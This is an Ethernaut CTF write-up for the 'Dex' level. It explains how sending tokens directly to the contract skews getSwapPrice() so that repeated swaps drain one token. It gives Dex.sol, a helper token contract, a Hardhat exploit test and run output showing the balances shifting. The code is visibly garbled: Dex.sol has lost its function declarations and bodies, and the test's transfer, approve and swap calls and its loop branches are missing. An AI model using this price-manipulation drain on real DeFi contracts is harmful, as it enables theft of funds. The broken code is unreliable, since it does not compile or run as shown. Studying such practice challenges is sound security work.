# Ethernaut Solutions: 22-Dex

The challenge is to find a way to upset the ratio inside getSwapPrice(). The way I did this is by using the Unexpected Ether attack except we will be transferring ERC20 tokens instead of ETH.

Lookout for the below line in solution.js where I transfer tokens to DEX to upset the price calculation in my favor. After that it is just a matter of repeating calls to Dex.swap() to steal all of one token.

``await myerc20_1.connect(attacker).transfer(dex.address, 10)``

The way I have solved it takes out most of the token but not all. I am going to leave this as it is considering I have got the gist. I am sure other more elegant solutions exist out there.

``````// Dex.sol
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
using SafeMath for uint;
constructor() {}

token1 = _token1;
token2 = _token2;
}

}

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
}

}

/*function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}*/

return IERC20(token).balanceOf(account);
}
}``````
``````// MyERC20.sol
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MyERC20 is ERC20
{
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
}
}``````
``````//Hardhat Test (solution.js):

const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");

describe("Recovery.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {

const [owner, attacker] = await ethers.getSigners();

// Deploy 2 instances of MyERC20 token
const myERC20Contract = await ethers.getContractFactory("MyERC20")
const myerc20_1 = await myERC20Contract.deploy("myerc20_1", "myerc20_1", 1000);
await myerc20_1.deployed();

const myerc20_2 = await myERC20Contract.deploy("myerc20_2", "myerc20_2", 1000);
await myerc20_2.deployed();

// Deploy DEX contract
const dexContract = await ethers.getContractFactory("Dex")
const dex = await dexContract.deploy()
await dex.deployed()

// Point Dex contract to the 2 tokens we created

// Transfer 10 tokens each to attacker and 100 to dex

// Attacher sends 10 myerc20_1 tokens to Dex to change the ratio in Dex.getSwapPrice() in its favour
console.log("Dex myerc20_1 balance: ", await myerc20_1.balanceOf(dex.address))

// Attacker approves Dex to spend both tokens

// Each iteration converts from one token to another
// Each iteration takes out an increasing number of tokens from DEX because of ratio calculated in Dex.getSwapPrice()
for (let i = 10; i < 29; i++)
{
console.log(i)
if(i%2 == 0)
{
}
else
{
}
}

// Scrape out the maximum of whatever remains
});
});
});``````
``````Output:
---------

Recovery.sol
Test run
attacker token balance:  BigNumber { value: "10" } BigNumber { value: "10" }
dex token balance:  BigNumber { value: "100" } BigNumber { value: "100" }
Dex myerc20_1 balance:  BigNumber { value: "110" }
10
Attacker token balance:  BigNumber { value: "11" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "99" } BigNumber { value: "110" }
11
Attacker token balance:  BigNumber { value: "0" } BigNumber { value: "12" }
Dex token balance:  BigNumber { value: "110" } BigNumber { value: "98" }
12
Attacker token balance:  BigNumber { value: "13" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "97" } BigNumber { value: "110" }
13
Attacker token balance:  BigNumber { value: "0" } BigNumber { value: "14" }
Dex token balance:  BigNumber { value: "110" } BigNumber { value: "96" }
14
Attacker token balance:  BigNumber { value: "16" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "94" } BigNumber { value: "110" }
15
Attacker token balance:  BigNumber { value: "1" } BigNumber { value: "17" }
Dex token balance:  BigNumber { value: "109" } BigNumber { value: "93" }
16
Attacker token balance:  BigNumber { value: "19" } BigNumber { value: "1" }
Dex token balance:  BigNumber { value: "91" } BigNumber { value: "109" }
17
Attacker token balance:  BigNumber { value: "2" } BigNumber { value: "21" }
Dex token balance:  BigNumber { value: "108" } BigNumber { value: "89" }
18
Attacker token balance:  BigNumber { value: "23" } BigNumber { value: "3" }
Dex token balance:  BigNumber { value: "87" } BigNumber { value: "107" }
19
Attacker token balance:  BigNumber { value: "4" } BigNumber { value: "26" }
Dex token balance:  BigNumber { value: "106" } BigNumber { value: "84" }
20
Attacker token balance:  BigNumber { value: "29" } BigNumber { value: "6" }
Dex token balance:  BigNumber { value: "81" } BigNumber { value: "104" }
21
Attacker token balance:  BigNumber { value: "8" } BigNumber { value: "32" }
Dex token balance:  BigNumber { value: "102" } BigNumber { value: "78" }
22
Attacker token balance:  BigNumber { value: "36" } BigNumber { value: "10" }
Dex token balance:  BigNumber { value: "74" } BigNumber { value: "100" }
23
Attacker token balance:  BigNumber { value: "13" } BigNumber { value: "41" }
Dex token balance:  BigNumber { value: "97" } BigNumber { value: "69" }
24
Attacker token balance:  BigNumber { value: "46" } BigNumber { value: "17" }
Dex token balance:  BigNumber { value: "64" } BigNumber { value: "93" }
25
Attacker token balance:  BigNumber { value: "21" } BigNumber { value: "53" }
Dex token balance:  BigNumber { value: "89" } BigNumber { value: "57" }
26
Attacker token balance:  BigNumber { value: "61" } BigNumber { value: "27" }
Dex token balance:  BigNumber { value: "49" } BigNumber { value: "83" }
27
Attacker token balance:  BigNumber { value: "34" } BigNumber { value: "72" }
Dex token balance:  BigNumber { value: "76" } BigNumber { value: "38" }
28
Attacker token balance:  BigNumber { value: "90" } BigNumber { value: "44" }
Dex token balance:  BigNumber { value: "20" } BigNumber { value: "66" }
Attacker token balance:  BigNumber { value: "103" } BigNumber { value: "0" }
Dex token balance:  BigNumber { value: "7" } BigNumber { value: "110" }
✔ should run fine (2665ms)

1 passing (3s)``````